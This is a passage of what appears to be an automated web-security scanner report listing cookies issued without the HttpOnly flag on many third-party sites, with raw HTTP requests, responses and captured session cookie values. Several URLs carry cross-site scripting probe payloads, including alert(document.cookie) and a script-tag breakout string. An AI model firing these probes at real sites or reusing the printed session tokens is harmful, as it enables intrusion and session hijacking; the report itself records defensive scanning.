The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: etfdb.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.16. http://event.adxpose.com/event.flow previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://event.adxpose.com
Path:	/event.flow

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=6E5592FB2762E8F73BC4BF6D783C51C0; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /event.flow?eventcode=000_000_11&location=http%3A%2F%2Fhtcwiki.wetpaint.com%2F&uid=W25t6coj820hSGmI&xy=251%2C232&wh=985%2C1012&duration=21132982%7C21132982&iframed=0 HTTP/1.1
Host: event.adxpose.com
Proxy-Connection: keep-alive
Referer: http://htcwiki.wetpaint.com/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: evlu=ddad3821-ec58-4641-be95-961ec5aac4d2; JSESSIONID=43E251877DDE1938FDE4FA32451B41F5

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=6E5592FB2762E8F73BC4BF6D783C51C0; Path=/
Cache-Control: no-store
Content-Type: text/javascript;charset=UTF-8
Content-Length: 0
Date: Sat, 05 Feb 2011 21:51:28 GMT
Connection: close

15.17. http://funp.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://funp.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PHPSESSID=2a1c1r3ae79p6h5bhoo6vv9gh0; path=/
_session=MTUzNDczNTYyNgMTSUgOPCcNv4HXkRCw_RAIOvaFp1ITwrneQ6O9qbD582s21nVj16ytXQ5ric1XRfPeO5-1B6UsoWtmIQc7lZtnteWJeqlkw9_yAqIlICe24C67CF2QZIOdUzbWdWPXrK1dDmuJzVdF8947n7UHpSyha2YhBzuVm2e15Yl6qWTD3_K8V5f1lIt8wA%3D%3D; expires=Fri, 31-Jan-2031 22:49:12 GMT; path=/; domain=funp.com
_session=MjU5ODE4MTU3NQMjSUgOPCcNv4HXkRCw_RAIOvaFp1ITwrnelysDoWSVtt1j7oJJRn0n_WRVE7Nyv9iV3fE1BCVqfAVsESYg6X5rg9YWWtXqTv1J1u-ekBHhiHimpMjBxmeQWGPugklGfSf9ZFUTs3K_2JXd8TUEJWp8BWwRJiDpfmuD1hZa1epO_Um8V5f1lIt8wA%3D%3D; expires=Fri, 31-Jan-2031 22:49:13 GMT; path=/; domain=funp.com

The cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: funp.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 22:49:13 GMT
Content-Type: text/html
Connection: close
Set-Cookie: PHPSESSID=2a1c1r3ae79p6h5bhoo6vv9gh0; path=/
Set-Cookie: _session=MTUzNDczNTYyNgMTSUgOPCcNv4HXkRCw_RAIOvaFp1ITwrneQ6O9qbD582s21nVj16ytXQ5ric1XRfPeO5-1B6UsoWtmIQc7lZtnteWJeqlkw9_yAqIlICe24C67CF2QZIOdUzbWdWPXrK1dDmuJzVdF8947n7UHpSyha2YhBzuVm2e15Yl6qWTD3_K8V5f1lIt8wA%3D%3D; expires=Fri, 31-Jan-2031 22:49:12 GMT; path=/; domain=funp.com
Set-Cookie: _session=MjU5ODE4MTU3NQMjSUgOPCcNv4HXkRCw_RAIOvaFp1ITwrnelysDoWSVtt1j7oJJRn0n_WRVE7Nyv9iV3fE1BCVqfAVsESYg6X5rg9YWWtXqTv1J1u-ekBHhiHimpMjBxmeQWGPugklGfSf9ZFUTs3K_2JXd8TUEJWp8BWwRJiDpfmuD1hZa1epO_Um8V5f1lIt8wA%3D%3D; expires=Fri, 31-Jan-2031 22:49:13 GMT; path=/; domain=funp.com
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 35940

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/DTD/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

...[SNIP]...

15.18. http://getclicky.com/106253 previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://getclicky.com
Path:	/106253

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

PHPSESSID=599ee4e27da0b537e792a372d516bdda; path=/
referer=80899; expires=Wed, 06 Apr 2011 21:51:05 GMT; path=/; domain=.getclicky.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /106253 HTTP/1.1
Host: getclicky.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.19. http://hellotxt.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://hellotxt.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=0e18f424g79t43jjqhrcjrriq4; expires=Fri, 02 Dec 2011 22:49:24 GMT; path=/; domain=.hellotxt.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: hellotxt.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.20. http://hhonors1.hilton.com/en_US/hh/home_index.do previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://hhonors1.hilton.com
Path:	/en_US/hh/home_index.do

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=8CAFAF63982F525635C9F2F8847A1317.etc61; Path=/
hilton-portal=HHONORS; Domain=hilton.com; Path=/
NSC_qse-qgt=44153d5f3660;expires=Sat, 05-Feb-11 23:00:24 GMT;path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /en_US/hh/home_index.do HTTP/1.1
Host: hhonors1.hilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.21. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type/product_problem previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type/product_problem

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:25 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%252527%25253balert%2525281%252529%25252f%25252f35f276845e/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:27 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.23. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens/d/type1a19b%27%3balert%281%29%2f%2f35f276845e/product_problem/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:29 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&hl=en&client=ca-pub-4582869284305424&adU=www.Rackspace.com/Exchange_Hosting&adT=ImageAd&gl=US&usg=AFQjCNFt7K-JBKpz6-rzEu72zZg5MwT1cg/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=5378e2dc-3193-11e0-bdbb-0030485f67c6; expires=Tue, 08-Mar-2011 16:04:09 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.25. http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/ex/mfg/headline/m/ariens47888%27%3balert%28document.cookie%29%2f%2f8fcf167d281/d/type/product_problem/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:36 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.26. http://homeappliance.manualsonline.com/managemystuff.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/managemystuff.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:49:58 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.27. http://homeappliance.manualsonline.com/proxy.class.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/proxy.class.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:54:13 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 21:54:13 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
Set-Cookie: memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:54:13 GMT; path=/; domain=.manualsonline.com
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 7508

["\n\t\t\t\t<a class='titleLink' target='_top' href='http:\/\/dsclick.infospace.com\/ClickHandler.ashx?ru=http%3a%2f%2fwww.google.com%2faclk%3fsa%3dl%26ai%3dCu1b_BcdNTdWEHYeGsAPI0MG9BKaAnvMBpuO9qxjckd
...[SNIP]...

15.28. http://homeappliance.manualsonline.com/regman/login/loginForm previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/regman/login/loginForm

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 22:25:54 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.29. http://homeappliance.manualsonline.com/regman/user/getUserBlock previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/regman/user/getUserBlock

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:54:13 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.30. http://homeappliance.manualsonline.com/regman/user/validateUser previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://homeappliance.manualsonline.com
Path:	/regman/user/validateUser

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

memSessionId=59308638-3172-11e0-bdbb-0030485f67c6; expires=Mon, 07-Mar-2011 21:53:53 GMT; path=/; domain=.manualsonline.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.31. http://identi.ca/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://identi.ca
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=e388a003ef12638804228edaa3f744b8; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: identi.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.32. http://imera.com.br/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://imera.com.br
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=3F0AAFD21BC620CD5628A56E4B94EB70; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: imera.com.br
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.33. http://info.bisk.com/MCIndex.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://info.bisk.com
Path:	/MCIndex.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ASPSESSIONIDCABBARTR=LOJKGAOCENEJFOGJELJDONMB; path=/
MCIDtype=external; expires=Tue, 08-Mar-2011 05:00:00 GMT; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /MCIndex.asp HTTP/1.1
Host: info.bisk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:01:20 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 363
Content-Type: text/html
Set-Cookie: MCIDtype=external; expires=Tue, 08-Mar-2011 05:00:00 GMT; path=/
Set-Cookie: MCIDCookie=9505; expires=Tue, 08-Mar-2011 05:00:00 GMT; path=/
Set-Cookie: ASPSESSIONIDCABBARTR=LOJKGAOCENEJFOGJELJDONMB; path=/
Cache-control: private

<html>
<head>
<meta name="GENERATOR" content="Microsoft Visual Studio 6.0">
</head>
<body>
<script language=javascript>
<!--
var strRedir = "http://www.EducatorEducation.com/?source=196337ZX
...[SNIP]...

15.34. http://intellitxt.com/opt_out/ch_optout.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://intellitxt.com
Path:	/opt_out/ch_optout.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDQADSARBD=HFEGFMCCJNCMNPGAHAKHLIGI; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /opt_out/ch_optout.asp HTTP/1.1
Host: intellitxt.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 3422
Content-Type: text/html
Server: Microsoft-IIS/7.5
Set-Cookie: ASPSESSIONIDQADSARBD=HFEGFMCCJNCMNPGAHAKHLIGI; path=/
p3p: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:51:06 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<script type="t
...[SNIP]...

15.35. http://internetmailmanager.com/s/svrg.asp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://internetmailmanager.com
Path:	/s/svrg.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ASPSESSIONIDAABCDBSC=LIBJGAECDANCKFHGFFNBFDND; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /s/svrg.asp HTTP/1.1
Host: internetmailmanager.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 21:51:54 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 115
Content-Type: text/html
Set-Cookie: ASPSESSIONIDAABCDBSC=LIBJGAECDANCKFHGFFNBFDND; path=/
Cache-control: private

Invalid registration form. Please contact support at <a href="mailto:support@303media.com">support@303media.com</a>

15.36. http://live.activeconversion.com/webtracker/track.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://live.activeconversion.com
Path:	/webtracker/track.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=E261474CC942CC59A3C7A67CA36366D2; Path=/webtracker

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /webtracker/track.html HTTP/1.1
Host: live.activeconversion.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _wt_31021=1296942871924|f64d-6178-34ed-5f2e12df7d201ca|0; JSESSIONID=9042D11EABAF4C8F5DEB02F41173999D;

Response

HTTP/1.1 302 Moved Temporarily
Date: Sat, 05 Feb 2011 22:51:18 GMT
Server: Apache
Pragma: No-cache
Cache-Control: no-cache,no-store,max-age=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=E261474CC942CC59A3C7A67CA36366D2; Path=/webtracker
Location: http://live.activeconversion.com/webtracker/mainMenu.html
Content-Length: 0
Connection: close
Content-Type: text/html;charset=ISO-8859-1

15.37. http://live.activeconversion.com/webtracker/track2.html previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://live.activeconversion.com
Path:	/webtracker/track2.html

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=3DD7C88CAE89EFB650276CE09BCE82B1; Path=/webtracker

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /webtracker/track2.html?method=track&pid=31021&uclkt=1&alh=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue&avc=f64d-6178-34ed-5f2e12df7d201ca&source=&keyword=&ref=http%3A//homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%252527%25253balert%252528document.cookie%252529%25252f%25252f8fcf167d281/d/type/product_problem&pageTitle=Ownership%20Targeting%20%7C%20OwnerIQ&pageUrl=http%3A%2F%2Fwww.owneriq.com%2Fownership-targeting%3Fsrc%3D728x90_blue&java=1&amcs=0.41058127977885306 HTTP/1.1
Host: live.activeconversion.com
Proxy-Connection: keep-alive
Referer: http://www.owneriq.com/ownership-targeting?src=728x90_blue
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:31:59 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-store, no-cache, max-age=0, must-revalidate, post-check=0, pre-check=0
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: JSESSIONID=3DD7C88CAE89EFB650276CE09BCE82B1; Path=/webtracker
Set-Cookie: _wt_31021=1296945129219|f64d-6178-34ed-5f2e12df7d201ca|0; Max-Age=630720000;Path=/; HttpOnly
P3P: policyref="http://www.activeconversion.com/w3c/p3p.xml", CP="NOI DSP LAW PSA OUR IND STA NAV COM"
Connection: close
Content-Type: image/png
Content-Length: 68

.PNG
.
...IHDR.....................IDATx.c`...............IEND.B`.

15.38. http://lovely-faces.com/index.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://lovely-faces.com
Path:	/index.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

PHPSESSID=mgd19n2q9c9jnocqqmbrnk5p31; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /index.php?v_sex='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Ealert(0x000335)%3C/script%3E&v_exp=1&v_find=1 HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-US
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: lovely-faces.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:34:13 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, max-age=900, pre-check=900
Vary: Accept-Encoding
Set-Cookie: PHPSESSID=mgd19n2q9c9jnocqqmbrnk5p31; path=/
Last-Modified: Sat, 05 Feb 2011 21:01:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 34395

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=U
...[SNIP]...

15.39. http://mad4milk.net/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://mad4milk.net
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%229aa9caca178f871b7614d81a9de0e019%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F4.0+%28compatible%3B+MSIE+7.0%3B+Windows+NT+6.0%29%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1297008265%3Bs%3A10%3A%22last_visit%22%3Bi%3A0%3B%7D; expires=Sun, 06-Feb-2011 18:04:25 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: mad4milk.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:24 GMT
Server: Apache/2.0.54
X-Powered-By: PHP/5.2.14
Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%229aa9caca178f871b7614d81a9de0e019%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F4.0+%28compatible%3B+MSIE+7.0%3B+Windows+NT+6.0%29%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1297008265%3Bs%3A10%3A%22last_visit%22%3Bi%3A0%3B%7D; expires=Sun, 06-Feb-2011 18:04:25 GMT; path=/
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2866

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-e
...[SNIP]...

15.40. http://multiply.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://multiply.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

session=1296946702:1296946702:1296946702:1::; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
session=1296946702::1296946702:1::0; domain=multiply.com; path=/; expires=Tuesday, 29-Jul-2014 23:12:40 GMT
uid=A:1:U2FsdGVkX18nXdRwnCqU4LO1NyjWpdrU2Ie5Uu6OCIxeNFAUR-lkJQ%3d%3d:if0xmhaa8ycoogdw3utnprp; domain=multiply.com; path=/
last_access=1296946702; domain=multiply.com; path=/

The highlighted cookies appear to contain session tokens, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: multiply.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.41. http://newstrust.net/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://newstrust.net
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

_newstrust_session=0ce76bfbf0c27ac307c69589440188fd; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET / HTTP/1.1
Host: newstrust.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.42. https://online.americanexpress.com/myca/acctsumm/us/action previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://online.americanexpress.com
Path:	/myca/acctsumm/us/action

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000NnfvOa35QTQfEyBb8mjeDrj:14cr01edo; Path=/; Secure
SaneID=10.10.14.1-1296942696431338; Path=/; expires=Tue, 09-Feb-16 21:51:36 GMT; domain=.americanexpress.com
NSC_f3-nzdb-vt-bddutvnn-vt-5655=ffffffff97a3d0f645525d5f4f58455e445a4a42861c;path=/
sroute=923666954.58148.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /myca/acctsumm/us/action HTTP/1.1
Host: online.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.43. https://online.americanexpress.com/myca/logon/us/action previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://online.americanexpress.com
Path:	/myca/logon/us/action

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

JSESSIONID=0000-HgLbQUjcZCcmLFEu-Z0nTH:14fidvuhe; Path=/
SaneID=10.10.14.1-1296942696685904; Path=/; expires=Tue, 09-Feb-16 21:51:36 GMT; domain=.americanexpress.com
NSC_nf3-x-vt-mphpo-b=ffffffff97a3d0fb45525d5f4f58455e445a4a42be89;path=/
sroute=353241610.58148.0000; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /myca/logon/us/action HTTP/1.1
Host: online.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.44. http://opensource.org/licenses/lgpl-license.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://opensource.org
Path:	/licenses/lgpl-license.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SESSe6df14a6557d381f7820d30df9723b5b=ms9cl7qufoi5mg438nsv3npv51; expires=Tue, 01-Mar-2011 19:37:55 GMT; path=/; domain=.opensource.org

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /licenses/lgpl-license.php HTTP/1.1
Host: opensource.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:04:35 GMT
Server: Apache/2.2.17 (FreeBSD) mod_ssl/2.2.17 OpenSSL/0.9.8n DAV/2 SVN/1.6.15
Set-Cookie: SESSe6df14a6557d381f7820d30df9723b5b=ms9cl7qufoi5mg438nsv3npv51; expires=Tue, 01-Mar-2011 19:37:55 GMT; path=/; domain=.opensource.org
Last-Modified: Sun, 06 Feb 2011 16:04:35 GMT
ETag: "c1673a4245ecebf954ab2e909fb9e015"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Cache-Control: must-revalidate
Vary: Accept-Encoding
Content-Length: 6921
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
